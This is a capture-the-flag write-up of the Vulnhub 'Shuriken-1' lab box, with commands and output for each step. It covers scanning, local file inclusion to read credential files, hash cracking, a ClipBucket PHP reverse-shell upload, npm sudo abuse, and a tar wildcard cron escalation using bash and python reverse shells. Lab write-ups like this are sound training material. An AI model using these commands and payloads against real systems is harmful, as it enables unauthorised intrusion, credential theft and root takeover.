Vulnhub: Shuriken-1
This is an intermediate box from Vulnhub. It is hackthebox-like. It is a really good challenge, would definitely recommend 😛.
Scanning:
crazyeights@es-base:~$ nmap -PS 192.168.56.1-255
Nmap scan report for 192.168.56.129
Host is up (0.00022s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
8080/tcp filtered http-proxy
More Detailed Scan:
crazyeights@es-base:~$ nmap -A -p- 192.168.56.129
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-28 10:34 EST
Nmap scan report for 192.168.56.129
Host is up (0.00017s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Shuriken
8080/tcp filtered http-proxy
Web:
Enumeration:
crazyeights@es-base:~$ dirb http://192.168.56.129
---- Scanning URL: http://192.168.56.129/ ----
==> DIRECTORY: http://192.168.56.129/css/
==> DIRECTORY: http://192.168.56.129/img/
+ http://192.168.56.129/index.php (CODE:200|SIZE:6021)
==> DIRECTORY: http://192.168.56.129/js/
==> DIRECTORY: http://192.168.56.129/secret/
+ http://192.168.56.129/server-status (CODE:403|SIZE:279)
In secret:
There is image:
Nothing in the image itself. It is a hint about checking the JS scripts.
Checking the JS Scripts:
In index__7ed54732.js
t.p = 'http://broadcast.shuriken.local',
Added the following to /etc/hosts:
192.168.56.129 broadcast.shuriken.local
You get a authentication dialog when you try to visit the site:
So you should probably find credentials first.
In the other js file (index__d8338055.js”):
n.p = 'http://shuriken.local/index.php?referer=',
Try to add that to /etc/hosts instead:
192.168.56.129 shuriken.local
Local File Inclusion:
We can perform LFI with referer param:
We test the following and it appears in the page source
crazyeights@es-base:~$ curl http://shuriken.local/index.php?referer=../js/index__7ed54732.js
Getting the passwd file, you must use double slashes because single slashes (../) are removed.
http://shuriken.local/index.php?referer=..//..//..//..//etc/passwd
Find the password for the HTTP Authentication by checking for a htpasswd file:
crazyeights@es-base:~$ curl http://shuriken.local/index.php?referer=..//..//..//etc/apache2/.htpasswd
On the resulting page:
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
Crack with john:
crazyeights@es-base:~$ john --wordlist=lists/rockyou.txt --rules shuriken_hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls (developers)
We now have credentials: developers:9972761drmfsls
Change the line back in the hosts file so you can log in
192.168.56.129 broadcast.shuriken.local
We can see it is running ClipBucket version 4
ClipBucket Exploit:
Using searchsploit we find the following:
ClipBucket < 4.0.0 - Release 4902 - Command I | php/webapps/44250.txt
It is vulnerable to CMD Injection, File Upload, and SQLI
Proof of concept:
-----------------
1. Unauthenticated OS Command Injection
Without having to authenticate, an attacker can exploit this vulnerability
by manipulating the "file_name" parameter during the file upload in the script
/api/file_uploader.php:
$ curl -F "Filedata=@pfile.jpg" -F "file_name=aa.php ||<<COMMAND HERE>>"
http://$HOST/api/file_uploader.php
2. Unauthenticated Arbitrary File Upload
Below is the cURL request to upload arbitrary files to the webserver with no
authentication required.
$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/beats_uploader.php"
$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/photo_uploader.php"
-
Command injection doesn’t work
-
Trying file upload, using php-reverse-shell, and the u param for the HTTP Authentication
First start the listener
nc -lvp 1234
crazyeights@es-base:~/tools$ curl -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=rshell.php" "http://broadcast.shuriken.local/actions/beats_uploader.php" -u developers:9972761drmfsls
creating file{"success":"yes","file_name":"16091743966af9ed","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}
Go to the location of the uploaded file to run the script. The filename is randomly generated, and returned in the response from the server.
Privilege Escalation:
Now that we have a session as user www-data we can find user and root flags.
Checking if www-data can execute anything with elevated permissions:
?>$ sudo -l
Matching Defaults entries for www-data on shuriken:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on shuriken:
(server-management) NOPASSWD: /usr/bin/npm
$
www-data can run npm with the permissions of the user server-management without a password. Use npm script functionality to get a shell.
$ cd /tmp
$ npm init
[SNIP]
{
"name": "tmp",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}
[SNIP]
Creating a command to add a script for the shell:
echo $(cat package.json | grep -v "}" | grep -v auth | grep -v lice; echo ',"shell": "/bin/bash"},'; cat package.json | grep 'auth\|lice'; echo "}") > package.json
The resulting file:
$ cat package.json
{ "name": "tmp", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" ,"shell": "/bin/bash"}, "author": "", "license": "ISC" }
Running the npm script as user server-management:
$ sudo -u server-management npm install
$ sudo -u server-management npm run-script shell
> tmp@1.0.0 shell /tmp
> /bin/bash
id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management),24(cdrom),30(dip),46(plugdev),116(lpadmin),122(sambashare)
Getting the user flag:
With the user server-managment we can get the user flag:
ls /home/server-management
Desktop
Documents
Downloads
Music
Pictures
Public
Shuriken
Templates
Videos
user.txt
cat /home/server-management/user.txt
67528b07b382dfaa490f4dffc57dcdc0
Getting root:
Noticed that there were these reports in Documents, thought there might be a job to back them up:
/home/server-management/Documents:
Daily Job Progress Report Format.pdf
Employee Search Progress Report.pdf
Finding the job:
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/2 * * * * root /var/opt/backupsrv.sh
[SNIP]
The Cronjob Script:
Notice the use of wildcards. That can be used to execute a script with checkpoint-action
See: https://gtfobins.github.io/gtfobins/tar/
cat /var/opt/backupsrv.sh
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
Create the files:
echo "bash -i >& /dev/tcp/192.168.56.1/9999 0>&1" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
ls
--checkpoint-action=exec=sh shell.sh
--checkpoint=1
Daily Job Progress Report Format.pdf
Employee Search Progress Report.pdf
shell.sh
The bash reverse shell didn’t work, switched to python reverse shell:
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh
Start the listener
crazyeights@es-base:~$ nc -lvp 9999
listening on [any] 9999 ...
Waiting two minutes….
crazyeights@es-base:~$ nc -lvp 9999
listening on [any] 9999 ...
connect to [192.168.56.1] from broadcast.shuriken.local [192.168.56.129] 51784
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
d0f9655a4454ac54e3002265d40b2edd